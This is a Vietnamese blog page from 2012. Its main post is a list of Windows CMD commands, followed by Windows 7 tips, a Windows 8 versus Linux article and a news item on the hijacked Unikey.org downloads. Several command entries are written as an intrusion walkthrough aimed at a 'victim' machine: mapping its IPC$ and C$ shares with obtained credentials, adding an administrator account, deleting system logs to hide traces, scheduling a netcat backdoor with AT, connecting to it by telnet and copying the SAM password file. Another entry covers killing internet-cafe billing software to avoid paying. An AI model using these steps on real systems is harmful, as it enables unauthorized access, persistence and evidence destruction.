Chào mừng đến với site của Bee! Chúc các bạn có những giây phút thực sự vui vẻ!!!

Thứ Sáu, 2 tháng 3, 2012

1 số lệnh trong CMD của Windows

1 số lệnh trong CMD của Windows


Click Start-->Run---> type cmd ---> press enter
1. Lệnh Ping :
Cú pháp:
Code:


ping ip/host [/t][/a][/l][/n]


- ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt.
- Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5
Công dụng :
+ Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....


2. Lệnh Tracert :
Cú pháp :
Code:


tracert ip/host


Công dụng :
+ Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.


3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP):
Cú pháp:


Net send ip/host thông_điệp_muốn_gởi
Công dụng:
+ Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
+ Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau :
Code:


Net send * hello!I'm pro_hacker_invn


4. Lệnh Netstat :
Cú pháp:
Code:


Netstat [/a][/e][/n]


- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối...
Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm
Công dụng :
+ Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.


5. Lệnh IPCONFIG :
Cú pháp:
Code:


ipconfig /all


Công dụng:
+ Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...


6. Lệnh FTP (truyền tải file):
Cú pháp:
Code:


ftp ip/host


Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
Code:


ftp>_


Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP.
Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ.
Một số lệnh ftp cơ bản:


-cd thu_muc: chuyển sang thư mục khác trên máy chủ
- dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
- mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
- rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
- put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
- close: Đóng phiên làm việc
- quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.
Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
Công dụng :
+ FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp


7. Lệnh Net View :
Cú pháp:
Code:


Net View [\\computer|/Domain[:ten_domain]]


Công dụng:
+ Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.


+ Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.


8. Lệnh Net Use :
Cú pháp:
Code:


Net use \\ip\ipc$ "pass" /user:"######"


- ip: địa chỉ IP của victim.
- ######: user của máy victim
- pass: password của user
Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau:
Code:


Net use \\68.135.23.25\ipc$ "12345" /user:"victim"


Công dụng:
+ kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).


9. Lệnh Net User :
Cú pháp:
Code:


Net User [username pass] [/add]


- Username : tên user cấn add
- pass : password của user cần add
Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator.
Code:


Net Localgroup Adminstrator [username] [/add]


Công dụng:
+ Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính.
+ Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là uanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
Code:


Net User xuanhoa banvatoi /add


Sau đó add user xuanhoa vào nhóm adminnistrator
Code:


Net Localgroup Administrator xuanhoa /add


10. Lệnh Shutdown:
Cú pháp:
Code:


Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP)


- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
- Tham số -d upx:yy : ko rõ
Code:


shutdown \\ip (áp dụng win NT)


Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
Công dụng:
+ Shutdown máy tính.


11. Lệnh DIR :
Cú pháp:
Code:


DIR [drive:][path][filename]


Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn.
Công dụng:
+ Để xem file, folder.


12. Lệnh DEL :
Cú pháp:
Code:


DEL [drive:][path][filename]


Lệnh này cũng căn bản rùi, ko phải nói nhìu.
Công dụng:
Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT:
Code:


del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log


13. Lệnh tạo ổ đĩa ảo trên computer:
Cú pháp:
Code:


Net use z: \\ip\C$ ( hoặc là IPC$ )


- Z là của mình...còn C$ là của Victim
Công dụng:
Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)


14. Lệnh Net Time :
Cú pháp:
Code:


Net Time \\ip


Công dụng:
+ Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.


15. Lệnh AT:
Cú pháp:
Code:


AT \\ip


Công dụng:
+ Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng.
Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 .
Code:


Net Time \\68.135.23.25


Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00.
Code:


AT \\68.135.23.25 12:3 nc.exe


Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.


16. Lệnh Telnet:
Cú pháp:
Code:


telnet host port


Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie
Code:


telnet 68.135.23.25 99


Công dụng:
+ Kết nối đến host qua port xx


17. Lệnh COPY:
Cú pháp:
Code:


COPY /?


Dùng lệnh trên để rõ hơn!
Công dụng:
+ Copy file, tui khỏi nói thêm nhé.
Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Code:


Copy Index.html \\127.0.0.1\C$\index.html


nếu bạn copy lên folder winNt
Code:


Copy index.html \\127.0.0.1\admin$\index.html


muốn copy files trên máy victm thì bạn gõ vào :
Code:


Copy \\127.0.0.1\Admin$\repair\sam._c:\


18. Lệnh SET:
Cú pháp:
Code:


SET


Công dụng:
+ Displays, sets, or removes cmd.exe enviroment variables.


19. Lệnh Nbtstat:
Cú pháp:
Code:


Nbtstat /?


Gõ lệnh trên để rõ hơn về lệnh này.
Công dụng:
+ Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)


20. Lệnh Date :
Cú pháp:


Code:
Date /TCông dụng:
+ Nếu chỉ gõ lệnh date thì hệ thống sẽ hiển thị ngày giờ hệ thống và yêu cầu bạn nhập ngày giờ mới để edit.
+ Nếu gõ lệnh date /t thì bạn chỉ coi thông tin về ngày giờ hệ thống!


21. Lệnh xuất thông tin thành file *.txt:
Cú pháp:


Code:
Câu lệnh >[drive]:\[path]\tenfile.txtCông dụng:
+ xuất một tham số nào đó ra 1 file text .
Ví dụ: bạn đánh lệnh sau:


Code:
ipconfig >C:\myip.txtHệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask


22. Lệnh openfiles:
Cú pháp:


Code:
OpenFiles /Disconnect /ID id hoặc OpenFiles /Disconnect /A tên-truy-cậpCông dụng:
+ Cho biết ai đang dùng các tập tin (thư mục) mà bạn đang chia sẽ trên hệ thống mạng


23. Lệnh Recover:
Cú pháp:


Code:
Recover /?Đánh lệnh recover /? để biết thêm chi tiết nhé!
Công dụng:
+ Để "cứu" một file nào đó bị hỏng khi file đó nằm trên vùng đĩa hư (bad sector chăng hạn). Chỉ hoạt động khi hệ thống file của bạn là NTFS (Fat32/Fat không dùng được đâu nhé). Nó dở 1 chỗ là dùng lệnh này cho từng file một nên có nhiều file hư các bạn nên tìm tiện ích của các hãng thứ 3


24. Lệnh Tasklist :
Cú pháp:


Code:
TasklistCông dụng:
+ Liệt kê các tác vụ (các chương trình ứng dụng đang chạy trong bộ nhớ máy tính) chi tiết. Sẽ cho bạn biết tên process đang chạy. Process là một luồng xử lý được CPU cấp riêng khi thực thi một ứng dụng (chương trình) hay PID (Process ID). TaskList hữu ích khi dùng với Taskkill.
+ Để hiểu rõ hơn về lệnh này, hãy gõ /? sau cấu trúc lệnh nhé!


25. Lệnh Taskkill:
Cú pháp:


Code:
Taskkill /PID proccess idĐừng quên thêm /? sau cấu trúc lệnh để hiểu rõ hơn nhé!
Công dụng:
+ Để "kill" một "task" đang chạy trong bộ nhớ. Lợi hại lắm đấy, khi ra net gặp quán nào nó cái DWK hay Netcafe thì mình tắt nó đi cái một!
Ví dụ:
Đầu tiên ta dùng lệnh tasklist để biết được groccess id của chương trình cần tắt.


Code:
tasklistỞ đây tôi thí dụ như tôi cần DWK có groccess id là 524 thì ta dùng lệnh taskkill để tắt nó đi như sau:


Code:
taskkill /PID 524 /ftham số /f là để tắt ứng dụng đó đi một cách hoàn toàn! Gọi là tắt hoàn toàn vậy thui chứ minh run hoặc khởi đọng lại là nó vẫn chạy bình thường ah! Lợi dụng ứng dụng này ta có thể làm giảm bớt chi phí ngồi net bằng cách tắt easy cafe đi. Chừng nào gần về rùi hãy mở lại hoặc nhấn nút reset là xong! He he! Nhưng nhớ phải làm cho khéo kẻo bị đập đó!


26. Lệnh Compact:
Cú pháp:
Compact [/c] [/u] [/s] [/a] [/i] [/f] [/q]
- tham số /c : chỉ định nén một file nào đó
- tham số /u : giải nén một file nào đó
- Các tham số còn lại tự ngâm cứu thêm nhé!
Công dụng:
+ Tương tự như chức năng tiết kệm dung lượng đĩa trên Windows XP hay 2003 (Vista) - chỉ có khi dùng NTFS là "Compress Contents To Save Disk Space". Các bạn có nhiều kiểu làm như click phải chuột vào một file chọn Properties -> Advanced rồi check vào ô tiết kiệm dung lượng cho file này "Compress file to save disk space". Nhưng khi các bánj muốn nén tất các file có phần mở rộng là *.* thì Compact là lựa chọn tốt nhất .
Ví dụ:


Code:
compact /c *.exe27. Lệnh control:
Cú pháp:


Code:
controlCông dụng:
+ Mở control panel bằng CMD


28. Lệnh getmac:
Cú pháp:


Code:
getmacCông dụng:
+ lấy thông tin địa chỉ MAC (Media Access Control) từ card mạng.


29. Lệnh systeminfo:
Cú pháp:


Code:
systeminfoCông dụng:
+ hiện thị thông tin của hệ thống từ cấu hình cơ bản, loại CPU, khu vực địa lý, các bản hotfix (bản cập nhập) đã cài trong máy, v.v...


30. Lệnh tree:
Cú pháp:


Code:
tree [ổ đĩa]:[đường dẫn] [/f] [/a]- Tham số /f : hiển thị tên của file trong mỗi thư mục
- Tham số /a : ko rõ
Công dụng:
+ Hiển thị cấu trúc thư mục dạng cây!

Những lệnh Command Line hay trong Windows 7



Những lệnh Command Line hay trong Windows 7

Những câu lệnh trong cửa sổ Command Line “tối thui” đôi khi lại là cách đơn giản mà mạnh mẽ để bạn thực hiện công việc của mình một cách nhanh chóng. Bài viết sau sẽ giới thiệu một số câu lệnh độc đáo trong Windows 7 để làm được những “tuyệt chiêu” không bao giờ tìm thấy trong giao diện đồ họa.
Đầu tiên, để vào Command Line, bạn nhấn tổ hợp phím Windows + R để mở hộp thoại Run > gõ tiếp cmd > nhấn Enter. Đến đây, bạn có thể dùng các câu lệnh ngắn gọn nhưng mạnh mẽ sau để hoàn thành nhanh chóng công việc cần làm:

Dùng thử Windows 7 lên đến 120 ngày
Mặc định Windows 7 chỉ cho dùng thử trong 30 ngày, nhưng chỉ với câu lệnh sau bạn có thể gia tăng thời gian dùng thử lên đến 120 ngày. Khi đã dùng được 30 ngày, bạn mở cửa sổ cmd, gõ vào lệnh: slmgr -ream chờ thông báo hoàn tất rồi khởi động lại máy tính. Lệnh trên sẽ giúp bạn dùng thêm Win 7 được 30 ngày nữa và bạn có thể làm lại việc này 3 lần.

Gỡ bỏ các menu chuột phải của Windows Media Player
Khi bạn nhấp chuột phải vào một file nhạc phim hoặc một folder chưa các file media, Win 7 tích hợp luôn menu mở nhanh chúng bằng Windows Media Player. Tuy nhiên, nếu không thích dùng Windows Media Player thì bạn có thể gõ bỏ toàn bộ các menu này để menu chuột phải gọn gàng hơn.
Trong cửa sổ cmd, bạn gõ: regsvr32 /u wmpshell.dll để gỡ bỏ các menu. Muốn khôi phục lại, bạn dùng câu lệnh: regsvr32 wmpshell.dll

Copy kết quả một câu lệnh trong cửa sổ cmd vào clipboard
Ví dụ bạn gõ lệnh ipcofig để xem thông tin về cấu hình mạng và muốn copy nhanh toàn bộ kết quả hiển thị trong cửa sổ cmd thì hãy thêm đoạn | clip vào sau câu lệnh (ở đây sẽ làipconfig | clip). Toàn bộ kết quả hiển thị trong cửa sổ cmd sẽ được đưa vào clipboard và bạn có thể paste vào bất cứ file text nào.
Ngoài ra, để copy dường dẫn của một file nằm trong các thư mục quá “sâu” bạn chỉ việc kéo thả file đó vào cửa sổ cmd là đường dẫn của file sẽ hiện ra. Sau đó nhấp chuột phải vào cửa sổ cmd, chọn Mark rồi bôi đen đường dẫn thì đoạn bôi đen sẽ được tự động copy vào clipboard.

8 tính năng Windows 8 “vay mượn” của Linux



Windows và Linux rất khác nhau, nhưng trong phiên bản Windows 8 có nhiều tính năng mà cộng đồng nguồn mở cho là "xào" của Linux.
"Nghệ sĩ tầm tầm thì vay mượn, nghệ sĩ vĩ đại thì ăn cắp" - Pablo Picasso có lần mỉa mai như vậy. T.S. Eliot cũng có phát biểu tương tự. Và Steve Jobs cũng từng trích dẫn câu nói này. Sự thật là cái gì thành công cũng rất dễ bị mô phỏng và sao chép.
Mặc dù Windows 8 và Linux nằm ở hai thái cực rất khác nhau từ thiết kế, ý tưởng cho đến khối người dùng chủ đạo, song chúng vẫn được xây dựng trên những nguyên tắc chung của hệ điều hành. Do đó chắc chắn sẽ có những điểm trùng hợp. Trong suốt một thời gian dài, Microsoft vốn bị cáo buộc là “đạo” rất nhiều từ cộng đồng mã nguồn mở, khiến cho một số người hâm mộ Linux nghĩ rằng Microsoft đơn giản là đã "thuổng" các tính năng hấp dẫn của Linux.
Đã có khá nhiều cuộc “phím chiến” nảy lửa về chủ đề này trên các diễn đàn Linux/Windows và cả trên blog chính thức Building 8 của Microsoft do Sinofsky và cộng sự phụ trách. Tất cả những điều đó cũng làm dấy lên sự nghi ngờ về nhiều tính năng mới trong Windows 8, liệu chúng có thực sự do Microsoft nghĩ ra hay không hay chỉ là "xào xáo" lại từ những ý tưởng khác.

1. Hộp thoại sao chép tài liệu

Để việc hiển thị rõ ràng hơn cho người dùng, Microsoft đã cải tiến các hộp thoại liên quan đến sao chép (copy), di chuyển (move), đổi tên (rename) và xóa (delete) theo cách thức không chỉ hiển thị quá trình diễn ra các tác vụ này, mà còn có biểu đồ thông lượng cho phép có thể tạm dừng mọi thao tác sao chép đang diễn ra.
Điều này đã gây ra một sự giận dữ ghê gớm của cộng đồng mã nguồn mở khi các hộp thoại này từng là một phần của các chương trình quản lí file thuộc về các hệ điều hành Linux phiên bản Dolphin và Nautilus. Trình quản lí file của 2 phiên bản hệ điều hành này cũng cho phép tạm dừng và kiểm tra các hoạt động sao chép di chuyển file đang thực hiện, và cũng cho phép hiển thị đồ thị trạng thái khi người dùng nhấn vào biểu tượng "More details".
Khi xảy ra vấn đề liên quan tới các dữ liệu trên máy, Windows 8 không chỉ dừng cả tiến trình mà còn đưa các lỗi vào danh sách chờ xử lí. Ở điểm này, có vẻ như Microsoft có ưu điểm hơn so với thế giới nguồn mở. Tuy nhiên cả Windows 8 lẫn Linux đều chưa thật sự có tính năng xếp hàng chờ. Người dùng có thể tạm dừng hay khôi phục từng tiến trình sao chép một cách thủ công song chưa thực hiện được việc này khi sao chép số lượng lớn.

2. Tạo ISO

Trong phiên bản thử nghiệm Windows 8, Microsoft đã giới thiệu tính năng tạo file ISO. Khi thực hiện điều này, một kí tự đại diện cho ổ đĩa mới sẽ xuất hiện trong Windows Explorer (đại diện cho ổ CD/DVD ROM ảo). Và việc tích hợp trực tiếp tính năng này vào hệ điều hành sẽ làm cho người dùng Windows không còn lệ thuộc vào các phần mềm của các bên thứ 3 như Daemon Tools, Power ISO hoặc Virtual CloneDrive. Cả hai hệ điều hành Linux và Mac đều đã có tính năng này.
Microsoft cho rằng không có phiên bản nào của hệ điều hành Linux có thể cho phép người dùng tạo ISO dễ dàng như Windows 8. Với Linux, người dùng cần nhập các cú pháp điều khiển từ dòng lệnh hoặc lại sử dụng công cụ của bên thứ 3.

3. Windows To Go

Windows To Go cho phép người dùng (doanh nghiệp) tạo một chương trình khởi động Windows 8 trên các thanh nhớ flash sử dụng chuẩn USB2.0/3.0. Tính năng này thậm chí còn cho phép “đóng băng" hệ điều hành tạm thời nếu thanh nhớ này bị rút ra khỏi máy tính và khi cắm trở lại sẽ cho phép hoạt động bình thường.
Trong thế giới mã nguồn mở, tính năng tương tự như vậy đã xuất hiện song chất lượng không thể so sánh với việc được tích hợp thẳng vào nhân hệ điều hành như của Microsoft. Nhất là khi hãng này đã tối ưu hệ thống file NTFS của mình để Windows 8 có thể chạy trơn tru ngay cả trên USB 2.0. Các thử nghiệm với Windows To Go cho thấy nó có tốc độ vượt xa các tính năng tương tự của Linux.

4. Giao diện Metro UI

Ý tưởng khởi nguồn của giao diện Metro UI thực ra đã manh nha từ 5 năm trước trên giao diện chương trình Media Center và giao diện các thiết bị Zune. Với lần đầu tiên trải nghiệm giao diện này, người dùng sẽ nhận ra nó rất nhất quán cho một loại thiết bị độc lập. Nhưng Microsoft vẫn không phải là người tiên phong trong việc đưa ra ý tưởng kiểu này.
Rất nhiều các phiên bản Linux như Ubuntu và GNOME trên máy tính để bàn đã cố gắng tu chỉnh giao diện người dùng theo kiểu “một giao diện điều khiển tất cả” trước khi Microsoft tham gia vào xu hướng này. Mặc dù giao diện kiểu này khi nhắc tới đều làm người ta nghĩ đến máy tính bảng chứ không phải các hệ điều hành nhân Linux, song chắc chắn cộng đồng Linux có quyền nghĩ rằng họ có ý tưởng này trước Microsoft. Microsoft đang mạo hiểm để có thể từng bước đưa giao diện Metro UI mới mẻ này trở thành giao diện mặc định của hệ điều hành mới, nhưng thật ra nó thực sự hấp dẫn hơn với các thiết bị có màn hình cảm ứng hay sử dụng bút điều khiển (stylus).

5. Tích hợp mạng xã hội

Một nhà phân phối hệ điều hành nhân Linux nổi tiếng là Ubuntu đã đưa các tính năng tích hợp mạng xã hội mặc định trên sản phẩm của mình từ rất lâu. Menu “Me” đã xuất hiện trong các phiên bản sơ khai của Ubuntu 10.04, cho phép người dùng có thể cập nhật tất cả các tài khoản mạng xã hội của mình đồng thời đưa những nội dung cập nhật quan trọng ra ngay màn hình desktop. Khi Microsoft thêm các tính năng Tweet@Rama, Photo Picker và ứng dụng Socialite vào phiên bản Windows 8 dành cho các nhà phát triển, cộng đồng Linux ngay lập tức cho rằng đây là hành vi sao chép ý tưởng.

6. Hỗ trợ trực tiếp USB 3.0

Những bài viết đầu tiên của nhóm phát triển Windows 8 trên blog Building 8 đều nhắc tới việc hệ điều hành mới này hỗ trợ trực tiếp các thiết bị chuẩn USB 3.0 và nhận về vô khối phản hồi dạng “Linux đã làm điều này cả 3 năm nay rồi”.
Thực ra thì cũng chả có gì to tát lắm, các thiết bị dùng chuẩn USB 3.0 chạy rất tốt với Windows 7 kể từ sau khi các nhà sản xuất cập nhật driver cho chúng. Microsoft chỉ đơn giản là đáp ứng các tiêu chuẩn của ngành công nghiệp này mà thôi.

7. Tích hợp điện toán đám mây

Cả hai hệ điều hành Windows 8 và Linux đều có các tính năng cho phép người dùng đồng bộ dữ liệu của mình với các dịch vụ điện toán đám mây. Ubuntu one của Ubuntu 11 cho phép người dùng sử dụng 5 GB dữ liệu lưu trữ trực tuyến miễn phí và đưa thêm các tùy chọn 2,99 USD/tháng cho mỗi 20 GB dung lượng thêm.
Windows 8 chắc chắn sẽ gắn với dịch vụ SkyDrive của hãng hiện đang cho phép người dùng lưu tới 25 GB miễn phí. Các dữ liệu được phép lưu không chỉ là ảnh và nhạc mà còn cho phép lưu các thông tin tài khoản khác của người dùng như thiết lập cá nhân, hình nền, một số dữ liệu khác. Quan trọng nhất là người dùng có thể truy cập chúng từ bất kì đâu.

8. ReFS

ReFS (Resilient File System, tên mã Protogon) là thế hệ quản lí file mới nhất vừa được Microsoft giới thiệu. Nó sẽ được ra mắt cùng với Windows Server 8. Hệ quản lí file này có nhiều điểm tương đồng với ZFS (Z File System) và Btrfs (B-tree file system) của Linux.
“Đạo” ý tưởng hay sáng tạo đột phá mới? Không thể phủ nhận việc Microsoft có vay mượn nhiều ý tưởng từ cộng đồng mã nguồn mở, song tựu trung, hãng này vẫn đang tạo ra nhiều giá trị riêng từ những ý tưởng đó trên phiên bản Windows 8 của mình.
Theo PCWorld VN/PCWorld Mỹ

Website Unikey.org bị kiểm soát, hàng vạn máy tính có thể đã dính mã độc



Theo thông tin từ diễn đàn bảo mật HVAOnline, trong nhiều ngày qua 29/2, website Unikey.org đã bị kiểm soát bởi hacker, hàng vạn máy tính có thể đã tải về phần mềm có chứa mã độc.
Hiện chưa thể chắc chắn chủ Website Unikey.org đã dành lại hoàn toàn quyền kiểm soát hay chưa.
Hacker đã kiểm soát được website và trỏ liên kết tải phần mềm về một địa chỉ nhái liên kết thực (thay chữ i bằng chữ j trong từ unikey) trên website phần mềm nguồn mở SourceForge.net, khiến hầu hết người dùng không nhận biết được.
Đến rạng sáng hôm nay, tác giả phần mềm Unikey mới phát hiện và thông báo với ban quản trị SourceForge. Hiện tài khoản giả mạo của hacker đã bị xóa.
Tuy nhiên, theo thông tin lưu lại tại bản cache của Google, đã có hơn 12.000 bản Unikey giả mạo được tải về từ website giả mạo này. Khả năng rất lớn là các bản phần mềm này đã được sửa đổi để kiểm soát máy tính người dùng. Theo một số thành viên của diễn đàn HVAonline, tác giả của vụ tấn công này chính là chủ nhân của botnet đã từng tấn công VietNamNet năm ngoái.
Đối với người dùng đã tải và cài đặt Unikey từ website trên trong thời gian qua, cần nhanh chóng quét vi rút bằng các phần mềm diệt vi rút thông dụng đã được cập nhật dữ liệu mới nhất.
Người dùng cũng có thể tải lại phiên bản Unikey mới nhất hiện nay đã được phục hồi.

Phần mềm: Unikey

Tác giả: Phạm Kim Long
Phiên bản: 4.0 RC2. Giấy phép: Miễn phí
HĐH: Windows 2000/XP/Vista/7
Trang chủ: www.unikey.org
Thông tin cập nhật lần cuối ngày 1/1/1970 7:00
Theo ICTPress